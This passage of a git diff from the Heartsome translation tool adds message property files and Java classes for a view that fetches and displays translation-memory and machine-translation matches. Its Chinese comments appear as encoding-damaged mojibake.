\u60a8\u786e\u5b9a\u8981\u4ece\u8bb0\u5fc6\u5e93\u4e2d\u5220\u9664\u9009\u4e2d\u7684\u5339\u914d\u5417\uff1f\n\u88ab\u5220\u9664\u7684\u5339\u914d\u5c06\u65e0\u6cd5\u6062\u590d\u3002 +view.MatchViewerBodyMenu.error.deleteError = \u5220\u9664\u5339\u914d\u65f6\u51fa\u9519\uff0c\u8be6\u60c5\u5982\u4e0b\uff1a\n +view.MatchViewerBodyMenu.error.editError = \u7f16\u8f91\u5339\u914d\u65f6\u51fa\u9519\uff0c\u8be6\u60c5\u5982\u4e0b\uff1a\n + +dialog.TmMatchEditDialog.title = \u7f16\u8f91\u5339\u914d +dialog.TmMatchEditDialog.component.src = \u6e90\u6587\uff08{0}\uff09 +dialog.TmMatchEditDialog.component.tgt = \u8bd1\u6587\uff08{0}\uff09 +dialog.TmMatchEditDialog.error.title = \u9519\u8bef +dialog.TmMatchEditDialog.error.srcNull = \u6e90\u6587\u4e0d\u80fd\u4e3a\u7a7a\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +dialog.TmMatchEditDialog.error.tgtNull = \u8bd1\u6587\u4e0d\u80fd\u4e3a\u7a7a\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 diff --git a/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/resource/message_en.properties b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/resource/message_en.properties new file mode 100644 index 0000000..b440345 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/resource/message_en.properties @@ -0,0 +1,42 @@ +view.MatchViewPart.statusLine = Display translation memory matches for the current segment +view.MatchViewPart.sourceCln = Source +view.MatchViewPart.typeCln = Status +view.MatchViewPart.targetCln = Target +view.MatchViewPart.msgTitle = Message +view.MatchViewPart.msg1 = An error occured when copying source to target:\n +view.MatchViewPart.info = TM: {0} Modified on: {1} Modified by: {2} Project: {3} +view.MatchViewPart.msg2 = The current segment is locked. Translation memory search will skip this segment. +view.MatchViewPart.msg3 = Operation failed:\n +view.MatchViewPart.firstAction = &Accept translation +view.MatchViewPart.firstAction.tooltip = Accept translation +view.MatchViewPart.secondAction = Accept &only text +view.MatchViewPart.secondAction.tooltip = Accept only text + +view.MatchViewPart.info.tooltip.creationId = Created by: +view.MatchViewPart.info.tooltip.creationDate = Created on: + +#2013-01-08 Add by Jason +view.MatchViewPart.processInfo.loadHSMatch = Loading TM matches... +view.MatchViewPart.processInfo.loadMachineMatch = Loading machine translations... +view.MatchViewPart.processInfo.manualProcess = Manually performing {0}... + +#2013-04-02 Add by Jason +#\u53f3\u952e\u83dc\u5355 +view.MatchViewerBodyMenu.EditTmAction = &Edit Match +view.MatchViewerBodyMenu.EditTmAction.tooltip = Edit the selected match in TM +view.MatchViewerBodyMenu.DeleteTmAction = &Delete Match +view.MatchViewerBodyMenu.DeleteTmAction.tooltip = Delete the selected match from TM + + +view.MatchViewerBodyMenu.erorr.title = Error +view.MatchViewerBodyMenu.confirm.title = Confirm +view.MatchViewerBodyMenu.confirm.deleteInfo = Are you sure to delete the selected match from TM?\nIt's unable to recover the match after delete. +view.MatchViewerBodyMenu.error.deleteError = Error occurred when deleting match, please see the following details:\n +view.MatchViewerBodyMenu.error.editError = Error occurred when saving match, please see the following details:\n + +dialog.TmMatchEditDialog.title = Edit TM Match +dialog.TmMatchEditDialog.component.src = Source text ({0}) +dialog.TmMatchEditDialog.component.tgt = Target text ({0}) +dialog.TmMatchEditDialog.error.title = Error +dialog.TmMatchEditDialog.error.srcNull = Source text shouldn't be empty. Please enter the source text. +dialog.TmMatchEditDialog.error.tgtNull = Target text shouldn't be empty. Please enter the target text. diff --git a/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/resource/message_zh.properties b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/resource/message_zh.properties new file mode 100644 index 0000000..83c8362 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/resource/message_zh.properties @@ -0,0 +1,42 @@ +view.MatchViewPart.statusLine = \u663e\u793a\u5f53\u524d\u6587\u672c\u6bb5\u7684\u8bb0\u5fc6\u5e93\u5339\u914d +view.MatchViewPart.sourceCln = \u6e90\u6587 +view.MatchViewPart.typeCln = \u72b6\u6001 +view.MatchViewPart.targetCln = \u8bd1\u6587 +view.MatchViewPart.msgTitle = \u63d0\u793a +view.MatchViewPart.msg1 = \u590d\u5236\u6e90\u6587\u5230\u76ee\u6807\u65f6\u51fa\u9519\uff0c\u9519\u8bef\u6d88\u606f\uff1a\n +view.MatchViewPart.info = \u8bb0\u5fc6\u5e93\uff1a{0} \u4fee\u6539\u4e8e\uff1a{1} \u4fee\u6539\u8005\uff1a{2} \u9879\u76ee\uff1a{3} +view.MatchViewPart.msg2 = \u5f53\u524d\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u5c06\u4e0d\u4f1a\u5728\u8bb0\u5fc6\u5e93\u4e2d\u67e5\u627e\u8be5\u6587\u672c\u6bb5\u7684\u5339\u914d\u3002 +view.MatchViewPart.msg3 = \u64cd\u4f5c\u5931\u8d25\uff0c\u9519\u8bef\u6d88\u606f\uff1a\n +view.MatchViewPart.firstAction = \u63a5\u53d7\u6b64\u7ffb\u8bd1(&A) +view.MatchViewPart.firstAction.tooltip = \u63a5\u53d7\u6b64\u7ffb\u8bd1 +view.MatchViewPart.secondAction = \u4ec5\u63a5\u53d7\u6587\u672c(&O) +view.MatchViewPart.secondAction.tooltip = \u4ec5\u63a5\u53d7\u6587\u672c + +view.MatchViewPart.info.tooltip.creationId = \u521b\u5efa\u8005\uff1a +view.MatchViewPart.info.tooltip.creationDate = \u521b\u5efa\u65f6\u95f4\uff1a + +#2013-01-08 Add by Jason +view.MatchViewPart.processInfo.loadHSMatch = \u6b63\u5728\u52a0\u8f7d\u5339\u914d... +view.MatchViewPart.processInfo.loadMachineMatch = \u6b63\u5728\u52a0\u8f7d\u673a\u5668\u7ffb\u8bd1... +view.MatchViewPart.processInfo.manualProcess = \u6b63\u5728\u624b\u52a8\u6267\u884c {0} ... + +#2013-04-02 Add by Jason +#\u53f3\u952e\u83dc\u5355 +view.MatchViewerBodyMenu.EditTmAction = \u7f16\u8f91\u5339\u914d(&E) +view.MatchViewerBodyMenu.EditTmAction.tooltip = \u7f16\u8f91\u9009\u4e2d\u7684\u8bb0\u5fc6\u5e93\u5339\u914d +view.MatchViewerBodyMenu.DeleteTmAction = \u5220\u9664\u5339\u914d(&D) +view.MatchViewerBodyMenu.DeleteTmAction.tooltip = \u5220\u9664\u9009\u4e2d\u7684\u8bb0\u5fc6\u5e93\u5339\u914d + + +view.MatchViewerBodyMenu.erorr.title = \u9519\u8bef +view.MatchViewerBodyMenu.confirm.title = \u786e\u8ba4 +view.MatchViewerBodyMenu.confirm.deleteInfo = \u60a8\u786e\u5b9a\u8981\u4ece\u8bb0\u5fc6\u5e93\u4e2d\u5220\u9664\u9009\u4e2d\u7684\u5339\u914d\u5417\uff1f\n\u88ab\u5220\u9664\u7684\u5339\u914d\u5c06\u65e0\u6cd5\u6062\u590d\u3002 +view.MatchViewerBodyMenu.error.deleteError = \u5220\u9664\u5339\u914d\u65f6\u51fa\u9519\uff0c\u8be6\u60c5\u5982\u4e0b\uff1a\n +view.MatchViewerBodyMenu.error.editError = \u7f16\u8f91\u5339\u914d\u65f6\u51fa\u9519\uff0c\u8be6\u60c5\u5982\u4e0b\uff1a\n + +dialog.TmMatchEditDialog.title = \u7f16\u8f91\u5339\u914d +dialog.TmMatchEditDialog.component.src = \u6e90\u6587\uff08{0}\uff09 +dialog.TmMatchEditDialog.component.tgt = \u8bd1\u6587\uff08{0}\uff09 +dialog.TmMatchEditDialog.error.title = \u9519\u8bef +dialog.TmMatchEditDialog.error.srcNull = \u6e90\u6587\u4e0d\u80fd\u4e3a\u7a7a\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +dialog.TmMatchEditDialog.error.tgtNull = \u8bd1\u6587\u4e0d\u80fd\u4e3a\u7a7a\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 diff --git a/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/MatchData.java b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/MatchData.java new file mode 100644 index 0000000..db45039 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/MatchData.java @@ -0,0 +1,63 @@ +/** + * MatchData.java + * + * Version information : + * + * Date:2013-4-24 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.translation.view; + +import net.heartsome.cat.ts.core.bean.TransUnitBean; + +import org.eclipse.core.resources.IProject; + +/** + * æ­¤å°è£…用于存储需è¦åœ¨åº“中查询的翻译å•å…ƒï¼Œå½“编辑器选择事件å‘生åŽï¼Œå°†æ•°æ®å­˜å‚¨åœ¨è¿™é‡Œï¼Œç­‰å¾…匹é…线程获å–å¹¶ä»Žåº“ä¸­æŸ¥è¯¢åŒ¹é… + * @author Jason + * @version + * @since JDK1.6 + */ +public class MatchData { + /** 当å‰éœ€è¦åŒ¹é…的翻译å•å…ƒ */ + private TransUnitBean transUnit; + /** translation unit 所有在项目 */ + private IProject project; + /** 在编辑器中对应的 RowId */ + private String rowId; + + public MatchData(TransUnitBean transUnit, IProject project, String rowId) { + this.transUnit = transUnit; + this.project = project; + this.rowId = rowId; + } + + public TransUnitBean getTransUnit() { + return transUnit; + } + + public void setTransUnit(TransUnitBean transUnit) { + this.transUnit = transUnit; + } + + public IProject getProject() { + return project; + } + + public void setProject(IProject project) { + this.project = project; + } + + public String getRowId() { + return rowId; + } + + public void setRowId(String rowId) { + this.rowId = rowId; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/MatchViewPart.java b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/MatchViewPart.java new file mode 100644 index 0000000..6ac18cb --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/view/MatchViewPart.java @@ -0,0 +1,1149 @@ +package net.heartsome.cat.ts.ui.translation.view; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.Vector; + +import net.heartsome.cat.common.innertag.TagStyle; +import net.heartsome.cat.common.ui.listener.PartAdapter2; +import net.heartsome.cat.common.ui.utils.InnerTagUtil; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.common.util.DateUtils; +import net.heartsome.cat.ts.core.bean.AltTransBean; +import net.heartsome.cat.ts.core.bean.Constants; +import net.heartsome.cat.ts.core.bean.PropBean; +import net.heartsome.cat.ts.core.bean.PropGroupBean; +import net.heartsome.cat.ts.core.bean.TransUnitBean; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean; +import net.heartsome.cat.ts.tm.complexMatch.ComplexMatcherFactory; +import net.heartsome.cat.ts.tm.complexMatch.IComplexMatch; +import net.heartsome.cat.ts.tm.match.TmMatcher; +import net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher; +import net.heartsome.cat.ts.tm.simpleMatch.SimpleMatcherFactory; +import net.heartsome.cat.ts.ui.bean.TranslateParameter; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; +import net.heartsome.cat.ts.ui.grid.GridCopyEnable; +import net.heartsome.cat.ts.ui.translation.Activator; +import net.heartsome.cat.ts.ui.translation.bean.TmConstants; +import net.heartsome.cat.ts.ui.translation.resource.Messages; +import net.heartsome.cat.ts.ui.util.TmUtils; +import net.heartsome.cat.ts.ui.view.IMatchViewPart; + +import org.eclipse.core.resources.IProject; +import org.eclipse.jface.action.IToolBarManager; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.nebula.widgets.grid.Grid; +import org.eclipse.nebula.widgets.grid.GridColumn; +import org.eclipse.nebula.widgets.grid.GridItem; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.CLabel; +import org.eclipse.swt.events.ControlAdapter; +import org.eclipse.swt.events.ControlEvent; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IEditorReference; +import org.eclipse.ui.IMemento; +import org.eclipse.ui.ISelectionListener; +import org.eclipse.ui.IViewSite; +import org.eclipse.ui.IWorkbenchPart; +import org.eclipse.ui.IWorkbenchPartReference; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.part.FileEditorInput; +import org.eclipse.ui.part.ViewPart; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class MatchViewPart extends ViewPart implements ISelectionListener, IMatchViewPart { + + public static final Logger LOGGER = LoggerFactory.getLogger(MatchViewPart.class); + + public static final String ID = "net.heartsome.cat.ts.ui.translation.view.matchview"; + /** 当å‰ç¼–辑器中对应的XLIFF文件Handler */ + private XLFHandler handler; + /** 被监å¬çš„编辑器。 */ + IXliffEditor editor; + /** 编辑器中选中的行标识 */ + int rowIndex = -1; + private IProject currentProject; + private TransUnitBean currentTransUnitBean; + + Grid gridTable; + private SourceColunmCellRenderer sourceColunmCellRenderer = new SourceColunmCellRenderer(); + private TypeColunmCellRenderer typeColumnCellRenderer = new TypeColunmCellRenderer(); + private TargetColunmCellRenderer targetColumnCellRenderer = new TargetColunmCellRenderer(); + GridCopyEnable copyEnable; + + private CLabel infoLabel; + private Image infoLabelImage; + private CLabel tipLabel; + private Image tipLabelImage; + + MatchViewerBodyMenu menuMgr; + TmMatcher tmMatcher; + + private TransUnitInfo2TranslationBean tuInfoBean; + + TranslateParameter transParameter; + + private Image tmImage; + private Image googleImage; + private Image qtImage; + private Image bingImage; + private Image otherImage; + + private Color selectedBgColor; + + private List altTransCacheList = new ArrayList(); + + private FontPropertyChangeListener fontChangeListener = new FontPropertyChangeListener(); + private ExecuteMatchThread matcherThread; + private ManualTranslationTread manualTranslationThread; + private TranslationTaskContainer manualTranslationTaskContainer; + + public MatchViewPart() { + tmMatcher = new TmMatcher(); + tuInfoBean = new TransUnitInfo2TranslationBean(); + transParameter = TranslateParameter.getInstance(); + + tmImage = Activator.getImageDescriptor("images/match-type/tm.png").createImage(); + qtImage = Activator.getImageDescriptor("images/match-type/qt.png").createImage(); + googleImage = Activator.getImageDescriptor("images/match-type/google.png").createImage(); + bingImage = Activator.getImageDescriptor("images/match-type/bing.png").createImage(); + otherImage = Activator.getImageDescriptor("images/match-type/others.png").createImage(); + selectedBgColor = new Color(Display.getDefault(), 210, 210, 240); + JFaceResources.getFontRegistry().addListener(fontChangeListener); + tipLabelImage = Activator.getImageDescriptor("images/status/Loading.png").createImage(); + + // åˆå§‹åŒ–自动任务线程在SelectionChange事件时,自动任务线程在任务到达时å†å¯åŠ¨ï¼Œå®ŒæˆåŽä»»åŠ¡åŽçº¿ç¨‹åœæ­¢ + + // åˆå§‹åŒ–手动任务线程,手动任务线程在界é¢åˆ›å»ºæ—¶å¯åŠ¨ï¼Œå¯åŠ¨åŽç­‰å¾…任务的到达,到达åŽè¿˜éœ€è¦ç­‰å¾…自动任务线程结æŸæ‰æ‰§è¡Œ + manualTranslationTaskContainer = new TranslationTaskContainer(); + manualTranslationThread = new ManualTranslationTread(manualTranslationTaskContainer); + manualTranslationThread.start(); + + } + + @Override + public void init(IViewSite site, IMemento memento) throws PartInitException { + init(site); + site.getPage().addPostSelectionListener(this); + site.getPage().addPartListener(new PartAdapter2() { + @Override + public void partClosed(IWorkbenchPartReference partRef) { + if (gridTable == null || gridTable.isDisposed()) { + getSite().getPage().removePartListener(this); // 关闭视图åŽï¼Œç§»é™¤æ­¤ç›‘å¬ + } else { + if ("net.heartsome.cat.ts.ui.xliffeditor.nattable.editor".equals(partRef.getId())) { + IEditorReference[] editorReferences = getSite().getPage().getEditorReferences(); + if (editorReferences.length == 0) { // 所有编辑器全部关闭的情况下。 + if (matcherThread != null) { + matcherThread.interrupt(); + } + manualTranslationThread.interruptCurrentTask(); + + tmMatcher.clearDbResources(); + tuInfoBean.resetTuInfo(); + copyEnable.resetSelection(); + gridTable.removeAll(); + handler = null; + setMatchMessage(null, "", ""); + setProcessMessage(null, "", ""); + } + } + } + } + }); + site.getActionBars().getStatusLineManager().setMessage(Messages.getString("view.MatchViewPart.statusLine")); + } + + @Override + public void createPartControl(Composite parent) { + GridLayout parentGl = new GridLayout(1, false); + parentGl.marginWidth = 0; + parentGl.marginHeight = 0; + parent.setLayout(parentGl); + + final Composite composite = new Composite(parent, SWT.NONE); + GridLayout compositeGl = new GridLayout(1, false); + compositeGl.marginBottom = -1; + compositeGl.marginLeft = -1; + compositeGl.marginRight = -1; + compositeGl.marginTop = -1; + compositeGl.marginWidth = 0; + compositeGl.marginHeight = 0; + composite.setLayout(compositeGl); + composite.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + + gridTable = new Grid(composite, SWT.BORDER | SWT.V_SCROLL); + gridTable.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + gridTable.setHeaderVisible(true); + gridTable.setAutoHeight(true); + gridTable.setRowsResizeable(true); + gridTable.setData("selectedBgColor", selectedBgColor); + + final GridColumn sourceCln = new GridColumn(gridTable, SWT.NONE); + sourceColunmCellRenderer.setFont(JFaceResources + .getFont(net.heartsome.cat.ts.ui.Constants.MATCH_VIEWER_TEXT_FONT)); + sourceCln.setCellRenderer(sourceColunmCellRenderer); + sourceCln.setText(Messages.getString("view.MatchViewPart.sourceCln")); + sourceCln.setWordWrap(true); + sourceCln.setAlignment(SWT.CENTER); + sourceCln.setResizeable(false); + + final GridColumn typeCln = new GridColumn(gridTable, SWT.NONE); + + typeColumnCellRenderer.setVerticalAlignment(SWT.CENTER); + typeCln.setCellRenderer(typeColumnCellRenderer); + typeCln.setText(Messages.getString("view.MatchViewPart.typeCln")); + typeCln.setWordWrap(true); + typeCln.setAlignment(SWT.CENTER); + typeCln.setResizeable(false); + + final GridColumn targetCln = new GridColumn(gridTable, SWT.NONE); + targetColumnCellRenderer.setFont(JFaceResources + .getFont(net.heartsome.cat.ts.ui.Constants.MATCH_VIEWER_TEXT_FONT)); + targetCln.setCellRenderer(targetColumnCellRenderer); + targetCln.setText(Messages.getString("view.MatchViewPart.targetCln")); + targetCln.setWordWrap(true); + targetCln.setAlignment(SWT.CENTER); + targetCln.setResizeable(false); + + // 设置å¯å¤åˆ¶åŠŸèƒ½ + copyEnable = new GridCopyEnable(gridTable); + sourceColunmCellRenderer.setCopyEnable(copyEnable); + targetColumnCellRenderer.setCopyEnable(copyEnable); + + Composite statusComposite = new Composite(composite, SWT.NONE); + GridLayout statusComptGridLayout = new GridLayout(2, false); + statusComptGridLayout.marginBottom = -1; + statusComptGridLayout.marginLeft = -1; + statusComptGridLayout.marginRight = -1; + statusComptGridLayout.marginTop = -1; + statusComptGridLayout.marginWidth = 0; + statusComptGridLayout.marginHeight = 0; + statusComposite.setLayout(statusComptGridLayout); + statusComposite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + tipLabel = new CLabel(statusComposite, SWT.NONE); + tipLabel.setAlignment(SWT.LEFT); + + infoLabel = new CLabel(statusComposite, SWT.NONE); + GridData gd = new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1); + gd.heightHint = 20; + infoLabel.setLayoutData(gd); + infoLabel.setAlignment(SWT.RIGHT); + // 设置列宽按比例4.5:1:4.5 + composite.addControlListener(new ControlAdapter() { + public void controlResized(ControlEvent e) { + Rectangle area = composite.getClientArea(); + Point preferredSize = gridTable.computeSize(SWT.DEFAULT, SWT.DEFAULT); + int width = area.width;// - 2 * gridTable.getBorderWidth(); + if (preferredSize.y > area.height + gridTable.getHeaderHeight()) { + Point vBarSize = gridTable.getVerticalBar().getSize(); + width -= vBarSize.x; + } + gridTable.setSize(area.width, area.height); + width = width - 80; + sourceCln.setWidth((int) (width * 0.5)); + typeCln.setWidth(80); + targetCln.setWidth((int) (width * 0.5)); + } + }); + gridTable.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + updateActionState(); + GridItem[] selItems = gridTable.getSelection(); + if (selItems.length != 1) { + return; + } + GridItem item = selItems[0]; + setMatchMessage(infoLabelImage, item.getData("info").toString(), item.getData("infoTooltip").toString()); + composite.layout(); + } + }); + gridTable.addListener(SWT.MouseDoubleClick, new Listener() { + public void handleEvent(Event event) { + menuMgr.acceptMatchAction.run(); + } + }); + createActions(); + } + + /** + * 监å¬XLFEditor的选择事件 + */ + public void selectionChanged(final IWorkbenchPart part, final ISelection selection) { + if (part == null || selection == null) { + return; + } + if (!(part instanceof IEditorPart)) { + updateActionState(); + handler = null; + return; + } + if (selection.isEmpty() || !(selection instanceof IStructuredSelection)) { + updateActionState(); + return; + } + editor = (IXliffEditor) part; + IStructuredSelection structuredSelecion = (IStructuredSelection) selection; + final Object object = structuredSelecion.getFirstElement(); + if (object instanceof Integer) { + int selRowIndex = (Integer) object; + if (rowIndex == selRowIndex) { + if (gridTable.getItemCount() != 0) { + updateActionState(); + } + return; + } else { + rowIndex = selRowIndex; + } + + handler = editor.getXLFHandler(); + + String rowId = handler.getRowId(rowIndex); + TransUnitBean transUnit = editor.getRowTransUnitBean(rowIndex);// handler.getTransUnit(rowId); + if (transUnit == null) { + updateActionState(); + return; + } + + String srcFullText = transUnit.getSrcContent(); + String srcPureText = transUnit.getSrcText(); + if ("".equals(srcFullText.trim()) || "".equals(srcPureText.trim())) { + return; + } + String srcLanguage = transUnit.getSrcLang(); + String tgtLanguage = transUnit.getTgtLang(); + tgtLanguage = handler.getNatTableColumnName().get("target"); + tuInfoBean.setSrcFullText(srcFullText); + tuInfoBean.setSrcPureText(srcPureText); + tuInfoBean.setSrcLanguage(srcLanguage); + tuInfoBean.setTgtLangugage(tgtLanguage); + int contextSize = tmMatcher.getContextSize(); + if (contextSize != 0) { + Map context = handler.getTransUnitContext(rowId, contextSize); + tuInfoBean.setPreContext(context.get("x-preContext")); + tuInfoBean.setNextContext(context.get("x-nextContext")); + } else { + tuInfoBean.setPreContext(""); + tuInfoBean.setNextContext(""); + } + sourceColunmCellRenderer.setTuSrcText(srcFullText); + FileEditorInput input = (FileEditorInput) getSite().getPage().getActiveEditor().getEditorInput(); + currentProject = input.getFile().getProject(); + currentTransUnitBean = transUnit; + executeMatch(rowId, transUnit, currentProject); + } + } + + private void executeMatch(String rowId, TransUnitBean transUnit, IProject project) { + if (matcherThread == null) { + matcherThread = new ExecuteMatchThread(); + matcherThread.start(); + } + synchronized (matchDataContainer) { + matchDataContainer.clear(); + matchDataContainer.add(new MatchData(transUnit, project, rowId)); + matchDataContainer.notify(); + } + } + + public void refreshTable() { + gridTable.redraw(); + } + + public void reLoadMatches(IXliffEditor editor, int rowIndex) { + // ä¿®å¤ Bug #3064 编辑匹é…--æ›´æ¢è®°å¿†åº“åŽå†ç¼–辑原记忆库匹é…,出现异常.刷新问题 + if (handler == null) { + handler = editor.getXLFHandler(); + } + executeMatch(handler.getRowId(rowIndex), currentTransUnitBean, currentProject); + } + + public void acceptMatchByIndex(int index) { + if (index < 0 || index + 1 > gridTable.getItemCount()) { + return; + } + gridTable.select(index); + menuMgr.acceptMatchAction.run(); + } + + public void manualExecComplexTranslation(IComplexMatch complexMatcher) { + if (rowIndex != -1 && currentProject != null && currentTransUnitBean != null) { + synchronized (manualTranslationTaskContainer) { + manualTranslationTaskContainer.pushTranslationTask(complexMatcher); + manualTranslationTaskContainer.notify(); + } + } + } + + public void manualExecSimpleTranslation(ISimpleMatcher simpleMatcher) { + if (rowIndex != -1 && tuInfoBean != null) { + synchronized (manualTranslationTaskContainer) { + manualTranslationTaskContainer.pushTranslationTask(simpleMatcher); + manualTranslationTaskContainer.notify(); + } + } + } + + Vector matchDataContainer = new Vector(); + + /** + * 自动任务线程 + * @author Jason + * @version + * @since JDK1.6 + */ + class ExecuteMatchThread extends Thread { + private TransUnitBean transUnit; + private IProject project; + private String rowId; + private boolean stop; + + public ExecuteMatchThread() { + } + + /** + * stop current thread + */ + public void setStop() { + this.stop = true; + } + + @Override + public void run() { + while (!stop) { + // æ— æ–°æ•°æ®åˆ°è¾¾å‰è¿›è¡Œç­‰å¾…çŠ¶æ€ + synchronized (matchDataContainer) { + if (matchDataContainer.isEmpty()) { + try { + matchDataContainer.wait(); + } catch (InterruptedException e) { + } + } + } + if(matchDataContainer.size() == 0){ + continue; + } + // 查找匹é…å‰å…ˆæ¸…除当å‰ç•Œé¢ä¸­çš„内容 + Display.getDefault().syncExec(new Runnable() { + + public void run() { + copyEnable.resetSelection(); + gridTable.removeAll(); + altTransCacheList.clear(); + } + }); + MatchData d = matchDataContainer.remove(matchDataContainer.size() - 1); + this.rowId = d.getRowId(); + this.transUnit = d.getTransUnit(); + this.project = d.getProject(); + // -- execute translation memory match + manualTranslationThread.interruptCurrentTask(); + manualTranslationThread.setLock(true); + updateStatusInfo(Messages.getString("view.MatchViewPart.processInfo.loadHSMatch")); + Vector complexMatches = null; + if (!CommonFunction.checkEdition("L")) { + Vector fuzzy = TmUtils.fuzzyResult2Alttransbean(tmMatcher.executeFuzzySearch(project, + tuInfoBean)); + transUnit.updateMatches(Constants.TM_TOOLID, fuzzy); + complexMatches = executeComplexMatch(transUnit, project); + } + final Vector tmAltTrans = transUnit.getMatchesByToolId(Constants.TM_TOOLID); + altTransCacheList.addAll(tmAltTrans); + if (complexMatches != null && complexMatches.size() > 0) { + altTransCacheList.addAll(complexMatches); + complexMatches.clear(); + complexMatches = null; + } + loadData2UI(altTransCacheList); + updateStatusInfo(Messages.getString("view.MatchViewPart.processInfo.loadMachineMatch")); + // 加载Simple Match,如google ,bing + final List needClearToolId = new ArrayList(); // 需è¦æ¸…æŽ‰æ–‡ä»¶ä¸­åŽŸæœ‰çš„åŒ¹é… + final List needSaveAltTransList = new ArrayList(); + List needLoadAltTransList = new ArrayList(); + executeSimpleMatch(tuInfoBean, transUnit, needClearToolId, needSaveAltTransList, needLoadAltTransList); + loadData2UI(needLoadAltTransList); + altTransCacheList.addAll(needLoadAltTransList); + needLoadAltTransList.clear(); + // åŠ è½½æ–‡ä»¶ä¸­çš„å…¶ä»–åŒ¹é… + Vector cm = new Vector(); + if (transUnit.getMatches() != null) { + cm.addAll(transUnit.getMatches()); + cm.removeAll(altTransCacheList); + altTransCacheList.addAll(cm); + if (cm.size() > 0) { + loadData2UI(cm); + } + cm.clear(); + } + Display.getDefault().syncExec(new Runnable() { + + public void run() { + updateUI(tmAltTrans); + setProcessMessage(null, "", ""); + } + }); + if (needSaveAltTransList.size() > 0 && handler != null) { + Display.getDefault().syncExec(new Runnable() { + + public void run() { + // é‡æ–°å†™å…¥altTrans + handler.updateAltTrans(rowId, needSaveAltTransList, needClearToolId); + needSaveAltTransList.clear(); + needClearToolId.clear(); + } + }); + } + manualTranslationThread.setLock(false); + } + } + + /** + * 将数æ®åŠ è½½åˆ°ç•Œé¢ä¸­ + * @param altTransVector + * ; + */ + private void loadData2UI(final List altTransVector) { + Display.getDefault().syncExec(new Runnable() { + + public void run() { + loadData(altTransVector); + } + }); + } + + /** + * æ›´æ–°ç•Œé¢ï¼Œæ‰§è¡Œé»˜è®¤é€‰ä¸­ä»¥åŠåº”用最大匹é…ã€å¤åˆ¶æºåˆ°ç›®æ ‡è‡ªåŠ¨ç­–ç•¥ + * @param tmAltTrans + * ; + */ + private void updateUI(Vector tmAltTrans) { + int itemSize = gridTable.getItemCount(); + String tgt = transUnit.getTgtContent(); + if (itemSize > 0) { + gridTable.setSelection(0); + + // 在编辑器中切æ¢æ–‡æœ¬æ®µæ—¶åˆ·æ–° infoLabel 的内容 + GridItem selItem = gridTable.getItem(0); + setMatchMessage(infoLabelImage, selItem.getData("info").toString(), selItem.getData("infoTooltip") + .toString()); + infoLabel.getParent().layout(); + + updateActionState(); + + // æ— 